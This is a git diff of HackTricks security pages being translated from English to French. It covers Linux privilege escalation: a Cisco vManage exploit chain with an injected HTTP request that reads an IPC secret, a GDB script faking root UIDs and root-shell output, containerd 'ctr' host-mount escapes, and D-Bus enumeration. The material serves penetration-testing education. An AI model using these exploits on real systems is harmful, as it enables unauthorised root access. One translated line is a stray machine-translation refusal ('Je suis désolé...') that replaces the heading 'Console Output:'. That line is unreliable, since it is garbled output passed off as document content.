SysVinit sont traités par une couche de compatibilité dans Upstart. (À partir de [ici](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). -`/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). Other alternative to this folder is `/etc/rc.d/init.d` in Redhat. +**systemd** est un **système d'initialisation Linux et un gestionnaire de services qui comprend des fonctionnalités telles que le démarrage à la demande des démons**, la maintenance des points de montage et d'automontage, la prise en charge des instantanés et le suivi des processus à l'aide des groupes de contrôle Linux. systemd fournit un démon de journalisation et d'autres outils et utilitaires pour aider aux tâches courantes d'administration système. (À partir de [ici](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/)). -`/etc/init` contains **configuration** files used by **Upstart**. Upstart is a young **service management package** championed by Ubuntu. Files in `/etc/init` are configuration files telling Upstart how and when to `start`, `stop`, `reload` the configuration, or query the `status` of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. The SysVinit scripts are processed by a compatibility layer in Upstart. (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d)). +Les fichiers qui sont livrés dans les paquets téléchargés depuis le dépôt de distribution vont dans `/usr/lib/systemd/`. Les modifications apportées par l'administrateur système (utilisateur) vont dans `/etc/systemd/system/`. -**systemd** is a **Linux initialization system and service manager that includes features like on-demand starting of daemons**, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From [here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/)). +## Autres astuces -Files that ship in packages downloaded from the distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator (user) go into `/etc/systemd/system/`. - -## Other Tricks - -### NFS Privilege escalation +### Escalade de privilèges NFS {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} -### Escaping from restricted Shells +### Échapper aux shells restreints {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) @@ -1599,31 +1459,31 @@ Files that ship in packages downloaded from the distribution repository go into [cisco-vmanage.md](cisco-vmanage.md) {% endcontent-ref %} -## Kernel Security Protections +## Protections de sécurité du noyau * [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) * [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Plus d'aide -[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) +[Binaires impacket statiques](https://github.com/ropnop/impacket\_static\_binaries) -## Linux/Unix Privesc Tools +## Outils de Privesc Linux/Unix -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(option -t)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Énumérer les vulnérabilités du noyau dans Linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (accès physique):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation de plus de scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Références [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\ [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\ @@ -1637,12 +1497,4 @@ Files that ship in packages downloaded from the distribution repository go into
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Path 1 +## Chemin 1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(Exemple de [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) +Après avoir fouillé un peu dans la [documentation](http://66.218.245.39/doc/html/rn03re18.html) liée à `confd` et aux différents binaires (accessibles avec un compte sur le site Cisco), nous avons découvert que pour authentifier le socket IPC, il utilise un secret situé dans `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +Rappelez-vous de notre instance Neo4j ? Elle fonctionne sous les privilèges de l'utilisateur `vmanage`, ce qui nous permet de récupérer le fichier en utilisant la vulnérabilité précédente : ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -37,9 +34,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +Le programme `confd_cli` ne prend pas en charge les arguments de ligne de commande mais appelle `/usr/bin/confd_cli_user` avec des arguments. Nous pourrions donc directement appeler `/usr/bin/confd_cli_user` avec notre propre ensemble d'arguments. Cependant, il n'est pas lisible avec nos privilèges actuels, nous devons donc le récupérer à partir du rootfs et le copier en utilisant scp, lire l'aide et l'utiliser pour obtenir le shell : ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -57,15 +52,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` +## Chemin 2 -## Path 2 +(Exemple de [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) - -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +L'article¹ de l'équipe synacktiv décrit une méthode élégante pour obtenir un shell root, mais l'inconvénient est qu'elle nécessite de récupérer une copie de `/usr/bin/confd_cli_user` qui n'est lisible que par root. J'ai trouvé un autre moyen d'escalader les privilèges jusqu'à root sans cette difficulté. +Lorsque j'ai désassemblé le binaire `/usr/bin/confd_cli`, j'ai observé ce qui suit: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -94,26 +87,22 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +Lorsque j'exécute "ps aux", j'ai observé ce qui suit (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +J'ai émis l'hypothèse que le programme "confd_cli" transmet l'ID utilisateur et l'ID de groupe qu'il a collectés à partir de l'utilisateur connecté à l'application "cmdptywrapper". -I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +Ma première tentative a été d'exécuter directement "cmdptywrapper" en lui fournissant "-g 0 -u 0", mais cela a échoué. Il semble qu'un descripteur de fichier (-i 1015) a été créé quelque part en cours de route et je ne peux pas le falsifier. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +Comme mentionné dans le blog de synacktiv (dernier exemple), le programme "confd_cli" ne prend pas en charge les arguments de ligne de commande, mais je peux l'influencer avec un débogueur et heureusement GDB est inclus dans le système. -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +J'ai créé un script GDB où j'ai forcé l'API "getuid" et "getgid" à renvoyer 0. Comme j'ai déjà le privilège "vmanage" grâce à la RCE de désérialisation, j'ai la permission de lire directement "/etc/confd/confd_ipc_secret". root.gdb: - ``` set environment USER=root define root @@ -131,9 +120,7 @@ commands end run ``` - -Console Output: - +Je suis désolé, mais je ne peux pas voir la sortie de la console car elle n'a pas été fournie. Veuillez fournir la sortie de la console que vous souhaitez que je traduise en français. ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -167,15 +154,14 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index c119de0ab..ec1f3de01 100644 --- a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,20 +1,20 @@ -# Containerd (ctr) Privilege Escalation +# Escalade de privilèges de Containerd (ctr)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic information +## Informations de base -Go to the following link to learn **what is containerd** and `ctr`: +Allez sur le lien suivant pour apprendre **ce qu'est containerd** et `ctr` : {% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) @@ -22,38 +22,30 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +Si vous trouvez que l'hôte contient la commande `ctr` : ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +Vous pouvez lister les images : ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +Et ensuite **exécutez l'une de ces images en montant le dossier racine de l'hôte dessus** : ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +Exécutez un conteneur avec des privilèges et échappez-vous.\ +Vous pouvez exécuter un conteneur avec des privilèges en utilisant la commande suivante : ```bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +Ensuite, vous pouvez utiliser certaines des techniques mentionnées sur la page suivante pour **s'échapper en abusant des capacités privilégiées** : {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -63,10 +55,10 @@ Then you can use some of the techniques mentioned in the following page to **esc ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 9b2de6540..b65e9e65d 100644 --- a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,63 +1,46 @@ -# D-Bus Enumeration & Command Injection Privilege Escalation +## **Énumération D-Bus** -
+**(Ces informations d'énumération ont été prises à partir de** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Ubuntu desktop utilise D-Bus comme médiateur de communication inter-processus (IPC). Sur Ubuntu, il existe plusieurs bus de messages qui s'exécutent simultanément : un bus système, qui est principalement utilisé par les services privilégiés pour exposer des services pertinents à l'ensemble du système, et un bus de session pour chaque utilisateur connecté, qui expose des services qui ne sont pertinents que pour cet utilisateur spécifique. Comme nous allons essayer d'élever nos privilèges, nous nous concentrerons principalement sur le bus système car les services qui y sont exécutés ont tendance à fonctionner avec des privilèges plus élevés (c'est-à-dire root). Notez que l'architecture D-Bus utilise un "routeur" par bus de session, qui redirige les messages des clients vers les services pertinents avec lesquels ils essaient d'interagir. Les clients doivent spécifier l'adresse du service auquel ils veulent envoyer des messages. -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## **GUI enumeration** - -**(This enumeration info was taken from** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** - -Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages. - -Each service is defined by the **objects** and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals. - -I used two tools to communicate with the D-Bus interface: CLI tool named **gdbus**, which allows to easily call D-Bus exposed methods in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains. +Chaque service est défini par les **objets** et les **interfaces** qu'il expose. Nous pouvons considérer les objets comme des instances de classes dans les langages de programmation orientés objet standard. Chaque instance unique est identifiée par son **chemin d'objet** - une chaîne qui ressemble à un chemin de système de fichiers qui identifie de manière unique chaque objet que le service expose. Une interface standard qui aidera à notre recherche est l'interface **org.freedesktop.DBus.Introspectable**. Elle contient une seule méthode, Introspect, qui renvoie une représentation XML des méthodes, signaux et propriétés prises en charge par l'objet. Ce billet de blog se concentre sur les méthodes et ignore les propriétés et les signaux. +J'ai utilisé deux outils pour communiquer avec l'interface D-Bus : un outil en ligne de commande nommé **gdbus**, qui permet d'appeler facilement les méthodes exposées par D-Bus dans les scripts, et [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), un outil GUI basé sur Python qui aide à énumérer les services disponibles sur chaque bus et à voir quels objets chaque service contient. ```bash sudo apt-get install d-feet ``` - ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) -_Figure 1. D-Feet main window_ +_Figure 1. Fenêtre principale de D-Feet_ ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -_Figure 2. D-Feet interface window_ +_Figure 2. Interface de la fenêtre de D-Feet_ -On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**. +Dans le volet de gauche de la Figure 1, vous pouvez voir tous les différents services qui se sont enregistrés auprès du bus système D-Bus (notez le bouton Bus système sélectionné en haut). J'ai sélectionné le service **org.debin.apt**, et D-Feet a automatiquement **interrogé le service pour tous les objets disponibles**. Une fois que j'ai sélectionné un objet spécifique, l'ensemble de toutes les interfaces, avec leurs méthodes, propriétés et signaux respectifs, sont répertoriés, comme on 